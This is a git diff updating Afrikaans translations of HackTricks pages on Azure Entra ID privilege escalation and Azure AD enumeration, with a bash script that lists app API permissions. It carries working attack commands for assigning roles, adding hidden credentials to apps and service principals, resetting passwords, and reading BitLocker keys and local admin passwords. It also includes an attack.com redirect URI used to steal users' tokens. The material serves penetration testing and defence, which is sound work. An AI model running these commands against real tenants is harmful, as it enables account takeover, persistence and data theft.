diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md index 77ff60b98..b87af6bae 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md @@ -3,13 +3,13 @@ {{#include ../../../../banners/hacktricks-training.md}} > [!NOTE] -> Let wel dat **nie alle fynkorrelige toestemmings** wat ingeboude rolle in Entra ID het, **in pasgemaakte rolle gebruik kan word.** +> Let wel dat **nie alle gedetailleerde magte** wat ingeboude rolle in Entra ID het **in aanmerking kom om in custom roles gebruik te word.** ## Rolle ### Rol: Privileged Role Administrator -Hierdie rol bevat die nodige fynkorrelige toestemmings om rolle aan principals toe te ken en om rolle meer toestemmings te gee. Beide aksies kan misbruik word om voorregte te eskaleer. +Hierdie rol bevat die nodige gedetailleerde magte om rolle aan principals toe te ken en om rolle meer magte te gee. Albei aksies kan misbruik word om bevoegdhede te eskaleer. - Ken rol toe aan 'n gebruiker: ```bash @@ -27,7 +27,7 @@ az rest --method POST \ \"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\" }" ``` -- Voeg meer toestemmings by 'n rol: +- Voeg meer regte by 'n rol: ```bash # List only custom roles az rest --method GET \ @@ -52,7 +52,7 @@ az rest --method PATCH \ ### `microsoft.directory/applications/credentials/update` -Dit stel 'n aanvaller in staat om **inlogbewyse by te voeg** (wachtwoorde of sertifikate) by bestaande toepassings. As die toepassing bevoorregte toestemmings het, kan die aanvaller as daardie toepassing autentiseer en daardie voorregte verkry. +Dit laat 'n attacker toe om **add credentials** (passwords of certificates) aan bestaande toepassings te voeg. As die toepassing privileged permissions het, kan die attacker authenticate as daardie toepassing en daardie privileges verkry. ```bash # Generate a new password without overwritting old ones az ad app credential reset --id --append @@ -61,7 +61,7 @@ az ad app credential reset --id --create-cert ``` ### `microsoft.directory/applications.myOrganization/credentials/update` -Hiermee word dieselfde aksies as `applications/credentials/update` toegelaat, maar beperk tot enkel-gids toepassings. +Dit laat dieselfde aksies toe as `applications/credentials/update`, maar is beperk tot toepassings binne 'n enkele directory. ```bash az ad app credential reset --id --append ``` @@ -77,24 +77,24 @@ az ad app owner list --id ``` ### `microsoft.directory/applications/allProperties/update` -’n Aanvaller kan ’n redirect URI by toepassings voeg wat deur gebruikers van die tenant gebruik word en dit dan met hulle deel deur login URLs te stuur wat die nuwe redirect URL gebruik om hul tokens te steel. Let wel: as die gebruiker reeds by die toepassing aangemeld was, sal die authentication outomaties wees sonder dat die gebruiker iets hoef te aanvaar. +'n aanvaller kan 'n redirect URI by applications voeg wat deur gebruikers van die tenant gebruik word, en dan login URLs wat die nuwe redirect URL gebruik met hulle deel om hul tokens te steel. Let wel dat as die gebruiker reeds by die application aangemeld was, die authentication outomaties sal plaasvind sonder dat die gebruiker iets hoef te aanvaar. -Neem ook kennis dat dit moontlik is om die permissions wat die toepassing versoek te verander om meer toegang te kry, maar in daardie geval sal die gebruiker die prompt wat om al die permissions vra weer moet aanvaar. +Let ook daarop dat dit moontlik is om die permissions wat die application versoek te verander om meer permissions te verkry, maar in hierdie geval sal die gebruiker weer die prompt wat vir al die permissions vra, moet aanvaar. ```bash # Get current redirect uris az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris" # Add a new redirect URI (make sure to keep the configured ones) az ad app update --id --web-redirect-uris "https://original.com/callback https://attack.com/callback" ``` -### Toepassings Privilege Escalation +### Applications Privilege Escalation -**As explained in [this post](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)** Dit was baie algemeen om standaardtoepassings te vind wat **API permissions** van die tipe **`Application`** aan hulle toegeken het. 'n API Permission (soos dit in die Entra ID-konsol genoem word) van die tipe **`Application`** beteken dat die toepassing die API kan benader en aksies kan uitvoer sonder 'n gebruikerskonteks (sonder 'n gebruiker wat in die app aanmeld), en sonder dat Entra ID-rolle dit hoef toe te laat. Daarom is dit baie algemeen om **high privileged applications in every Entra ID tenant** te vind. +**As explained in [this post](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)** was dit baie algemeen om default applications te vind wat toegekende **API permissions** van tipe **`Application`** het. 'n API Permission (soos dit in die Entra ID-konsol genoem word) van tipe **`Application`** beteken dat die application die API kan benader en aksies kan uitvoer sonder 'n gebruikerskonteks (sonder 'n gebruiker wat by die app aanmeld), en sonder om Entra ID-rolle daarvoor nodig te hê. Daarom is dit baie algemeen om **high privileged applications in every Entra ID tenant** te vind. -Indien 'n aanvaller enige permissie/rol het wat toelaat om **update the credentials (secret o certificate) of the application**, kan die aanvaller 'n nuwe credential genereer en dit dan gebruik om **authenticate as the application**, en sodoende al die permissions te kry wat die toepassing het. +Indien 'n attacker enige permission/role het wat toelaat om **update the credentials (secret o certificate) of the application**, kan die attacker 'n nuwe credential genereer en dit dan gebruik om **authenticate as the application**, en sodoende al die permissions wat die application het te bekom. -Let daarop dat die genoemde blog 'n paar **API permissions** van algemene Microsoft standaardtoepassings deel; egter, 'n tyd na hierdie verslag het Microsoft hierdie probleem reggestel en nou is dit nie meer moontlik om as Microsoft applications in te teken nie. Dit bly egter moontlik om **custom applications with high privileges that could be abused** te vind. +Let wel dat die genoemde blog sekere **API permissions** van algemene Microsoft default applications deel; Microsoft het egter 'n tyd ná hierdie verslag die probleem reggestel en dit is nou nie meer moontlik om as Microsoft applications in te login nie. Dit bly egter moontlik om **custom applications with high privileges that could be abused** te vind. -Hoe om die **API permissions** van 'n toepassing op te som: +Hoe om die API permissions van 'n application te lys: ```bash # Get "API Permissions" of an App ## Get the ResourceAppId @@ -125,7 +125,7 @@ az ad sp show --id --query "appRoles[?id==''].value" -o tsv az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv ```
-Vind alle toepassings met API-toestemmings vir nie-Microsoft APIs (az cli) +Vind alle toepassings se API-permissies en merk APIs wat aan Microsoft behoort ```bash #!/usr/bin/env bash set -euo pipefail @@ -147,6 +147,32 @@ done return 1 } +get_permission_value() { +local resource_app_id="$1" +local perm_type="$2" +local perm_id="$3" +local key value +key="${resource_app_id}|${perm_type}|${perm_id}" + +value="$(awk -F '\t' -v k="$key" '$1==k {print $2; exit}' "$tmp_perm_cache")" +if [ -n "$value" ]; then +printf '%s\n' "$value" +return 0 +fi + +if [ "$perm_type" = "Scope" ]; then +value="$(az ad sp show --id "$resource_app_id" --query "oauth2PermissionScopes[?id=='$perm_id'].value | [0]" -o tsv 2>/dev/null || true)" +elif [ "$perm_type" = "Role" ]; then +value="$(az ad sp show --id "$resource_app_id" --query "appRoles[?id=='$perm_id'].value | [0]" -o tsv 2>/dev/null || true)" +else +value="" +fi + +[ -n "$value" ] || value="UNKNOWN" +printf '%s\t%s\n' "$key" "$value" >> "$tmp_perm_cache" +printf '%s\n' "$value" +} + command -v az >/dev/null 2>&1 || { echo "az CLI not found" >&2; exit 1; } command -v jq >/dev/null 2>&1 || { echo "jq not found" >&2; exit 1; } az account show >/dev/null @@ -155,7 +181,8 @@ apps_json="$(az ad app list --all --query '[?length(requiredResourceAccess) > `0 tmp_map="$(mktemp)" tmp_ids="$(mktemp)" -trap 'rm -f "$tmp_map" "$tmp_ids"' EXIT +tmp_perm_cache="$(mktemp)" +trap 'rm -f "$tmp_map" "$tmp_ids" "$tmp_perm_cache"' EXIT # Build unique resourceAppId values used by applications. jq -r '.[][2][]?.resourceAppId' <<<"$apps_json" | sort -u > "$tmp_ids" @@ -169,9 +196,9 @@ name="$(jq -r '.name // "UNKNOWN"' <<<"$sp_json")" printf '%s\t%s\t%s\n' "$rid" "$owner" "$name" >> "$tmp_map" done < "$tmp_ids" -echo -e "appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tresourceOwnerOrgId\tpermissionType\tpermissionId" +echo -e "appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tisMicrosoft\tpermissions" -# Print only app permissions where the target API is NOT Microsoft-owned. +# Print all app API permissions and mark if the target API is Microsoft-owned. while IFS= read -r row; do app_name="$(jq -r '.[0]' <<<"$row")" app_id="$(jq -r '.[1]' <<<"$row")" @@ -186,14 +213,25 @@ resource_name="$(awk -F'\t' '{print $3}' <<<"$map_line")" [ -n "$resource_name" ] || resource_name="UNKNOWN" if is_microsoft_owner "$owner_org"; then -continue +is_ms="true" +else +is_ms="false" fi +permissions_csv="" while IFS= read -r access; do perm_type="$(jq -r '.type' <<<"$access")" perm_id="$(jq -r '.id' <<<"$access")" -echo -e "${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${owner_org}\t${perm_type}\t${perm_id}" +perm_value="$(get_permission_value "$resource_app_id" "$perm_type" "$perm_id")" +perm_label="${perm_type}:${perm_value}" +if [ -z "$permissions_csv" ]; then +permissions_csv="$perm_label" +else +permissions_csv="${permissions_csv},${perm_label}" +fi done < <(jq -c '.resourceAccess[]' <<<"$rra") + +echo -e "${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${is_ms}\t${permissions_csv}" done < <(jq -c '.[2][]' <<<"$row") done < <(jq -c '.[]' <<<"$apps_json") ``` @@ -203,15 +241,15 @@ done < <(jq -c '.[]' <<<"$apps_json") ### `microsoft.directory/servicePrincipals/credentials/update` -Dit stel 'n attacker in staat om credentials by bestaande service principals te voeg. As die service principal verhoogde bevoegdhede het, kan die attacker daardie bevoegdhede oorneem. +Dit laat 'n attacker toe om credentials by bestaande service principals te voeg. As die service principal verhoogde privileges het, kan die attacker daardie privileges aanneem. ```bash az ad sp credential reset --id --append ``` > [!CAUTION] -> Die nuut-gegenereerde wagwoord sal nie in die webkonsole verskyn nie, so dit kan 'n stealth manier wees om permanente toegang op 'n service principal te behou.\ +> Die nuwe gegenereerde wagwoord sal nie in die web console verskyn nie, so dit kan 'n stealth manier wees om persistence oor 'n service principal te behou.\ > Vanaf die API kan hulle gevind word met: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json` -As jy die fout `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` kry, is dit omdat **dit nie moontlik is om die passwordCredentials-eienskap te wysig nie** van die SP en eers moet jy dit ontsluit. Hiervoor benodig jy 'n toestemming (`microsoft.directory/applications/allProperties/update`) wat jou toelaat om uit te voer: +As jy die fout `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` kry, is dit omdat **dit nie moontlik is om die passwordCredentials property te wysig** van die SP nie en eers moet jy dit ontsluit. Hiervoor het jy 'n permission (`microsoft.directory/applications/allProperties/update`) nodig wat jou toelaat om die volgende uit te voer: ```bash az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/ --body '{"servicePrincipalLockConfiguration": null}' ``` @@ -223,7 +261,7 @@ az ad sp credential reset --id --append ``` ### `microsoft.directory/servicePrincipals/owners/update` -Soortgelyk aan applications, maak hierdie toestemming dit moontlik om meer owners by 'n service principal' te voeg. Om 'n service principal' te besit gee beheer oor sy credentials en permissions. +Soortgelyk aan toepassings, laat hierdie toestemming toe om meer eienaars by 'n service principal te voeg. Om 'n service principal te besit, bied dit beheer oor sy inlogbewyse en toestemmings. ```bash # Add new owner spId="" @@ -241,13 +279,13 @@ az ad sp credential reset --id --append az ad sp owner list --id ``` > [!CAUTION] -> Nadat ek 'n nuwe owner bygevoeg het, het ek probeer om dit te verwyder, maar die API het geantwoord dat die DELETE-metode nie ondersteun is nie, selfs al is dit die metode wat jy moet gebruik om die owner te verwyder. Dus kan jy **nie deesdae owners verwyder nie**. +> Nadat ek 'n nuwe owner bygevoeg het, het ek probeer om dit te verwyder, maar die API het geantwoord dat die DELETE-metode nie ondersteun is nie, selfs al is dit die metode wat jy moet gebruik om die owner te verwyder. Dus kan jy **deesdae nie owners verwyder nie**. -### `microsoft.directory/servicePrincipals/disable` en `enable` +### `microsoft.directory/servicePrincipals/disable` and `enable` -Hierdie permissies laat toe om service principals uit te skakel en in te skakel. 'n Aanvaller kan hierdie permissie gebruik om 'n service principal wat hy op een of ander manier toegang tot kry, in te skakel om privileges te eskaleer. +Hierdie toestemmings laat toe om service principals te disable en te enable. 'n Aanvaller kan hierdie toestemming gebruik om 'n service principal wat hy op een of ander manier kan bekom te enable om sodoende bevoegdhede te eskaleer. -Let daarop dat vir hierdie tegniek die aanvaller meer permissies sal benodig om die geaktiveerde service principal oor te neem. +Neem kennis dat vir hierdie tegniek die aanvaller meer toestemmings nodig sal hê om die ge-enablede service principal oor te neem. ```bash # Disable az ad sp update --id --account-enabled false @@ -257,7 +295,7 @@ az ad sp update --id --account-enabled true ``` #### `microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials` & `microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials` -Hierdie permissies laat toe om credentials vir single sign-on te skep en te verkry, wat toegang tot toepassings van derdepartye kan moontlik maak. +Hierdie toestemmings laat toe om credentials vir single sign-on te skep en te kry, wat toegang tot derdeparty-toepassings kan gee. ```bash # Generate SSO creds for a user or a group spID="" @@ -279,34 +317,34 @@ az rest --method POST \ ``` --- -## Groups +## Groepe ### `microsoft.directory/groups/allProperties/update` -Hierdie toestemming laat toe om gebruikers by bevoorregte groepe te voeg, wat tot privilege escalation kan lei. +Hierdie toestemming maak dit moontlik om gebruikers by privileged groups te voeg, wat tot privilege escalation kan lei. ```bash az ad group member add --group --member-id ``` -**Nota**: Hierdie toestemming sluit Entra ID role-assignable groups uit. +**Let op**: Hierdie toestemming sluit Entra ID role-assignable groups uit. ### `microsoft.directory/groups/owners/update` -Hierdie toestemming maak dit moontlik om eienaar van groepe te word. 'n Eienaar van 'n groep kan groepslidmaatskap en -instellings beheer, wat potensieel bevoegdhede na die groep kan eskaleer. +Hierdie toestemming maak dit moontlik om 'n eienaar van groepe te word. 'n Eienaar van 'n groep kan groepslidmaatskap en instellings beheer, wat potensieel bevoegdhede na die groep kan eskaleer. ```bash az ad group owner add --group --owner-object-id az ad group member add --group --member-id ``` -**Nota**: Hierdie toestemming sluit Entra ID role-assignable groups uit. +**Let wel**: Hierdie toestemming sluit Entra ID roltoewysbare groepe uit. ### `microsoft.directory/groups/members/update` -Hierdie toestemming maak dit moontlik om lede by 'n groep te voeg. 'n Aanvaller kan homself of kwaadwillige rekeninge by geprivilegieerde groepe voeg, wat verhoogde toegang kan verleen. +Hierdie toestemming laat toe om lede by 'n groep te voeg. 'n Aanvaller kan homself of kwaadwillige rekeninge by bevoorregte groepe voeg, wat verhoogde toegang kan gee. ```bash az ad group member add --group --member-id ``` ### `microsoft.directory/groups/dynamicMembershipRule/update` -Hierdie toestemming maak dit moontlik om die lidmaatskapreël in 'n dinamiese groep by te werk. 'n Aanvaller kan dinamiese reëls wysig om homself in bevoorregte groepe in te sluit sonder eksplisiete toevoeging. +Hierdie toestemming laat toe om membership rule in dynamic group op te dateer. An attacker kan dynamic rules wysig om homself in privileged groups in te sluit sonder eksplisiete toevoeging. ```bash groupId="" az rest --method PATCH \ @@ -321,7 +359,7 @@ az rest --method PATCH \ ### Dynamic Groups Privesc -Dit mag moontlik wees vir gebruikers om voorregte te eskaleer deur hul eie eienskappe te wysig sodat hulle as lede van dynamic groups bygevoeg word. Vir meer inligting sien: +Dit kan moontlik wees dat gebruikers escalate privileges deur hul eie eienskappe te wysig sodat hulle as lede van dynamic groups bygevoeg word. Vir meer inligting sien: {{#ref}} dynamic-groups.md @@ -331,13 +369,13 @@ dynamic-groups.md ### `microsoft.directory/users/password/update` -Hierdie toestemming laat toe om wagwoorde van nie-admin gebruikers terug te stel, wat 'n potensiële aanvaller in staat stel om voorregte na ander gebruikers te eskaleer. Hierdie toestemming kan nie aan custom roles toegewys word nie. +Hierdie toestemming maak dit moontlik om die wagwoord van nie-admin gebruikers terug te stel, wat 'n potensiële aanvaller in staat stel om privileges te escalate na ander gebruikers. Hierdie toestemming kan nie aan custom roles toegewys word nie. ```bash az ad user update --id --password "kweoifuh.234" ``` ### `microsoft.directory/users/basic/update` -Hierdie voorreg laat toe om eienskappe van die gebruiker te wysig. Dit is algemeen om dinamiese groepe te vind wat gebruikers byvoeg gebaseer op eienskapswaardes, daarom kan hierdie toestemming 'n gebruiker toelaat om die nodige eienskapswaarde te stel om lid te word van 'n spesifieke dinamiese groep en escalate privileges. +Hierdie voorreg laat toe om die eienskappe van die gebruiker te wysig. Dit is algemeen om dinamiese groepe te vind wat gebruikers byvoeg gebaseer op eienskapwaardes; daarom kan hierdie toestemming 'n gebruiker toelaat om die nodige eienskapswaarde te stel om lid van 'n spesifieke dinamiese groep te word en sodoende voorregte te eskaleer. ```bash #e.g. change manager of a user victimUser="" @@ -355,7 +393,7 @@ az rest --method PATCH \ ``` ## Conditional Access Policies & MFA bypass -Verkeerd geconfigureerde conditional access policies wat MFA vereis, kan bypass word — kyk: +Verkeerd gekonfigureerde conditional access policies wat MFA vereis, kan omseil word — kyk: {{#ref}} az-conditional-access-policies-mfa-bypass.md @@ -365,7 +403,7 @@ az-conditional-access-policies-mfa-bypass.md ### `microsoft.directory/devices/registeredOwners/update` -Hierdie toestemming laat aanvallers toe om hulself as eienaars van toestelle aan te wys om beheer te kry of toegang tot toestel-spesifieke instellings en data te verkry. +Hierdie toestemming maak dit vir aanvallers moontlik om hulself as eienaars van toestelle aan te wys, sodat hulle beheer of toegang tot toestelspesifieke instellings en data kan verkry. ```bash deviceId="" userId="" @@ -376,7 +414,7 @@ az rest --method POST \ ``` ### `microsoft.directory/devices/registeredUsers/update` -Hierdie toestemming maak dit vir aanvalers moontlik om hul rekening aan toestelle te koppel om toegang te verkry of sekuriteitsbeleide te omseil. +Hierdie toestemming stel aanvallers in staat om hul rekening aan toestelle te koppel om toegang te kry of om sekuriteitsbeleide te omseil. ```bash deviceId="" userId="" @@ -387,7 +425,7 @@ az rest --method POST \ ``` ### `microsoft.directory/deviceLocalCredentials/password/read` -Hierdie toestemming stel aanvallers in staat om die eienskappe van die gerugsteunde plaaslike administrateurrekening-inlogbewyse vir Microsoft Entra joined devices te lees, insluitend die wagwoord +Hierdie toestemming laat attackers toe om die eienskappe van die rugsteun-credentials van plaaslike administrateurrekeninge op Microsoft Entra-aangeslote toestelle te lees, insluitend die wagwoord ```bash # List deviceLocalCredentials az rest --method GET \ @@ -402,7 +440,7 @@ az rest --method GET \ ### `microsoft.directory/bitlockerKeys/key/read` -Hierdie toestemming gee toegang tot BitLocker keys, wat 'n aanvaller in staat kan stel om drives te decrypt en sodoende die vertroulikheid van data te kompromitteer. +Hierdie toestemming maak toegang tot BitLocker-sleutels moontlik, wat 'n aanvaller in staat kan stel om skywe te ontsleutel en sodoende die vertroulikheid van data in gevaar stel. ```bash # List recovery keys az rest --method GET \ @@ -413,7 +451,7 @@ recoveryKeyId="" az rest --method GET \ --uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key" ``` -## Ander Interessante toestemmings (TODO) +## Ander interessante toestemmings (TODO) - `microsoft.directory/applications/permissions/update` - `microsoft.directory/servicePrincipals/permissions/update` diff --git a/src/pentesting-cloud/azure-security/az-services/az-azuread.md b/src/pentesting-cloud/azure-security/az-services/az-azuread.md index b1f11e8fb..cff3ac9d1 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-azuread.md +++ b/src/pentesting-cloud/azure-security/az-services/az-azuread.md @@ -2,13 +2,13 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basiese inligting +## Basiese Inligting -Azure Active Directory (Azure AD) dien as Microsoft se wolkgebaseerde diens vir identiteit- en toegangbestuur. Dit maak dit moontlik vir werknemers om aan te meld en toegang te kry tot hulpbronne binne en buite die organisasie, insluitend Microsoft 365, die Azure portal, en 'n magdom ander SaaS-toepassings. Die ontwerp van Azure AD fokus op die lewering van noodsaaklike identiteitsdienste, veral insluitend **outentisering, outorisering, en gebruikersbestuur**. +Azure Active Directory (Azure AD) dien as Microsoft se wolkgebaseerde diens vir identiteit- en toegangsbestuur. Dit speel 'n sleutelrol om werknemers in staat te stel om aan te meld en toegang tot hulpbronne te kry, beide binne en buite die organisasie, insluitend Microsoft 365, die Azure-portaal, en 'n menigte ander SaaS-toepassings. Die ontwerp van Azure AD fokus op die lewering van essensiële identiteitdienste, veral insluitend **authentication, authorization, and user management**. -Belangrike kenmerke van Azure AD sluit **veelfaktor-outentisering** en **voorwaardelike toegang** in, tesame met naatlose integrasie met ander Microsoft sekuriteitsdienste. Hierdie kenmerke verhoog die sekuriteit van gebruikersidentiteite aansienlik en stel organisasies in staat om hul toegangsbeleide effektief te implementeer en af te dwing. As 'n fundamentele komponent van Microsoft se wolkdienste-ekosisteem, is Azure AD deurslaggewend vir die wolkgebaseerde bestuur van gebruikersidentiteite. +Belangrike kenmerke van Azure AD sluit in **multi-factor authentication** en **conditional access**, tesame met naatlose integrasie met ander Microsoft-sekuriteitsdienste. Hierdie kenmerke verhoog die veiligheid van gebruikersidentiteite aansienlik en stel organisasies in staat om hul toegangsbeleid effektief te implementeer en af te dwing. As 'n fundamentele komponent van Microsoft se wolkdienste-ekosisteem, is Azure AD sentraal vir die wolkgebaseerde bestuur van gebruikersidentiteite. -## Enumerasie +## Enumeration ### **Verbinding** @@ -185,11 +185,11 @@ Connect-AzureAD -AccountId test@corp.onmicrosoft.com -AadAccessToken $token {{#endtab }} {{#endtabs }} -Wanneer jy via die **CLI** in Azure met enige program **login**, gebruik jy 'n **Azure Application** van 'n **tenant** wat aan **Microsoft** behoort. Hierdie Applications, soos dié wat jy in jou rekening kan skep, **het 'n client id**. Jy sal **nie al hulle kan sien nie** in die **allowed applications lists** wat jy in die console kan sien, **maar hulle is standaard toegelaat**. +Wanneer jy **login** via **CLI** in **Azure** met enige program, gebruik jy 'n **Azure Application** van 'n **tenant** wat aan **Microsoft** behoort. Hierdie Applications, soos dié wat jy in jou rekening kan skep, **het 'n client id**. Jy **sal nie al hulle kan sien** in die **toegelate toepassingslyste** wat jy in die console sien nie, **maar hulle is standaard toegelaat**. -Byvoorbeeld 'n **powershell script** wat **authenticates** gebruik 'n app met client id **`1950a258-227b-4e31-a9cf-717495945fc2`**. Selfs al verskyn die app nie in die console nie, kan 'n sysadmin daardie **toepassing blokkeer** sodat gebruikers nie met tools wat via daardie App koppel toegang kan kry nie. +Byvoorbeeld, 'n **powershell script** wat **authenticates** gebruik 'n app met client id **`1950a258-227b-4e31-a9cf-717495945fc2`**. Selfs al verskyn die app nie in die console nie, kan 'n sysadmin daardie App **blokkeer** sodat gebruikers nie via gereedskap wat deur daardie App verbind nie, toegang kry. -Daar is egter **ander client-ids** van toepassings wat jou **sal toelaat om aan Azure te koppel**: +Daar is egter **ander client-ids** van toepassings wat jou **toelaat om met Azure te verbind**: ```bash # The important part is the ClientId, which identifies the application to login inside Azure @@ -358,15 +358,15 @@ Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com {{#endtab }} {{#endtabs }} -#### Verander gebruikerswagwoord +#### Verander wagwoord van gebruiker ```bash $password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText –Force (Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "victim@corp.onmicrosoft.com"}).ObjectId | Set- AzureADUserPassword -Password $password –Verbose ``` -### MFA & Conditional Access-beleide +### MFA & Conditional Access Policies -Dit word sterk aanbeveel om MFA vir elke gebruiker te aktiveer. Sommige maatskappye stel dit egter nie in nie of stel dit dalk met 'n Conditional Access: die gebruiker sal **MFA vereis indien** hy vanaf 'n spesifieke ligging, blaaier of **sekere voorwaarde** aanmeld. Hierdie beleide, indien nie korrek gekonfigureer nie, kan vatbaar wees vir **bypasses**. Kyk: +Dit word sterk aanbeveel om MFA by elke gebruiker te voeg, maar sommige maatskappye sal dit nie instel nie of kan dit met 'n Conditional Access instel: Die gebruiker sal **MFA benodig as** hy vanaf 'n spesifieke ligging, blaaier of **'n sekere voorwaarde** aanmeld. Hierdie beleide, as dit nie korrek gekonfigureer is nie, kan vatbaar wees vir **bypasses**. Kyk: {{#ref}} ../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md @@ -483,12 +483,12 @@ Get-AzureADGroup -ObjectId | Get-AzureADGroupAppRoleAssignment | fl * #### Voeg gebruiker by groep -Eienaars van die groep kan nuwe gebruikers by die groep voeg +Eienaars van die groep kan nuwe gebruikers by die groep voeg. ```bash Add-AzureADGroupMember -ObjectId -RefObjectId -Verbose ``` > [!WARNING] -> Groepe kan dinamies wees, wat basies beteken dat **as 'n gebruiker aan sekere voorwaardes voldoen, sal hy/sy by 'n groep gevoeg word**. Uiteraard, as die voorwaardes gebaseer is op **attribuute** wat 'n **gebruiker** kan **beheer**, kan hy/sy hierdie funksie misbruik om **in ander groepe in te kom**.\ +> Groepe kan dinamies wees, wat basies beteken dat **as 'n gebruiker aan sekere voorwaardes voldoen, sal hy by 'n groep gevoeg word**. Uiteraard, as die voorwaardes gebaseer is op **attribuute** wat 'n **gebruiker** kan **beheer**, kan hy hierdie funksie misbruik om **in ander groepe in te kom**.\ > Kyk hoe om dinamiese groepe te misbruik op die volgende bladsy: {{#ref}} @@ -497,7 +497,7 @@ Add-AzureADGroupMember -ObjectId -RefObjectId -Verbose ### Service Principals -For more information about Entra ID service principals check: +Vir meer inligting oor Entra ID service principals, sien: {{#ref}} ../az-basic-information/ @@ -602,7 +602,7 @@ Get-AzureADServicePrincipal -ObjectId | Get-AzureADServicePrincipalMembersh
-Lys en probeer om 'n client secret vir elke Enterprise App by te voeg +Lys en probeer om 'n client secret aan elke Enterprise App toe te voeg ```bash # Just call Add-AzADAppSecret Function Add-AzADAppSecret @@ -715,10 +715,11 @@ Vir meer inligting oor Toepassings kyk: ../az-basic-information/ {{#endref}} -Wanneer 'n App gegenereer word, word 2 tipes Permissions gegee: +Wanneer 'n App geskep word, word 3 tipes permissions gegee: -- **Permissions** gegee aan die **Service Principal** -- **Permissions** wat die **app** kan hê en gebruik namens die **user**. +- **Permissions** gegee aan die **Service Principal** (via roles). +- **Permissions** wat die **app** kan hê en gebruik op **behalf of the user**. +- **API Permissions** wat die app permissions oor EntraID gee sonder om ander roles te vereis wat hierdie permissions toeken. {{#tabs }} {{#tab name="az cli" }} @@ -772,7 +773,7 @@ az ad sp show --id --query "appRoles[?id==''].value" -o tsv az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv ```
-Vind alle toepassings met API-permissies vir nie-Microsoft APIs (az cli) +Vind alle toepassings se API-magtigings en merk Microsoft-beheerde APIs (az cli) ```bash #!/usr/bin/env bash set -euo pipefail @@ -794,6 +795,32 @@ done return 1 } +get_permission_value() { +local resource_app_id="$1" +local perm_type="$2" +local perm_id="$3" +local key value +key="${resource_app_id}|${perm_type}|${perm_id}" + +value="$(awk -F '\t' -v k="$key" '$1==k {print $2; exit}' "$tmp_perm_cache")" +if [ -n "$value" ]; then +printf '%s\n' "$value" +return 0 +fi + +if [ "$perm_type" = "Scope" ]; then +value="$(az ad sp show --id "$resource_app_id" --query "oauth2PermissionScopes[?id=='$perm_id'].value | [0]" -o tsv 2>/dev/null || true)" +elif [ "$perm_type" = "Role" ]; then +value="$(az ad sp show --id "$resource_app_id" --query "appRoles[?id=='$perm_id'].value | [0]" -o tsv 2>/dev/null || true)" +else +value="" +fi + +[ -n "$value" ] || value="UNKNOWN" +printf '%s\t%s\n' "$key" "$value" >> "$tmp_perm_cache" +printf '%s\n' "$value" +} + command -v az >/dev/null 2>&1 || { echo "az CLI not found" >&2; exit 1; } command -v jq >/dev/null 2>&1 || { echo "jq not found" >&2; exit 1; } az account show >/dev/null @@ -802,7 +829,8 @@ apps_json="$(az ad app list --all --query '[?length(requiredResourceAccess) > `0 tmp_map="$(mktemp)" tmp_ids="$(mktemp)" -trap 'rm -f "$tmp_map" "$tmp_ids"' EXIT +tmp_perm_cache="$(mktemp)" +trap 'rm -f "$tmp_map" "$tmp_ids" "$tmp_perm_cache"' EXIT # Build unique resourceAppId values used by applications. jq -r '.[][2][]?.resourceAppId' <<<"$apps_json" | sort -u > "$tmp_ids" @@ -816,9 +844,9 @@ name="$(jq -r '.name // "UNKNOWN"' <<<"$sp_json")" printf '%s\t%s\t%s\n' "$rid" "$owner" "$name" >> "$tmp_map" done < "$tmp_ids" -echo -e "appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tresourceOwnerOrgId\tpermissionType\tpermissionId" +echo -e "appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tisMicrosoft\tpermissions" -# Print only app permissions where the target API is NOT Microsoft-owned. +# Print all app API permissions and mark if the target API is Microsoft-owned. while IFS= read -r row; do app_name="$(jq -r '.[0]' <<<"$row")" app_id="$(jq -r '.[1]' <<<"$row")" @@ -833,14 +861,25 @@ resource_name="$(awk -F'\t' '{print $3}' <<<"$map_line")" [ -n "$resource_name" ] || resource_name="UNKNOWN" if is_microsoft_owner "$owner_org"; then -continue +is_ms="true" +else +is_ms="false" fi +permissions_csv="" while IFS= read -r access; do perm_type="$(jq -r '.type' <<<"$access")" perm_id="$(jq -r '.id' <<<"$access")" -echo -e "${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${owner_org}\t${perm_type}\t${perm_id}" +perm_value="$(get_permission_value "$resource_app_id" "$perm_type" "$perm_id")" +perm_label="${perm_type}:${perm_value}" +if [ -z "$permissions_csv" ]; then +permissions_csv="$perm_label" +else +permissions_csv="${permissions_csv},${perm_label}" +fi done < <(jq -c '.resourceAccess[]' 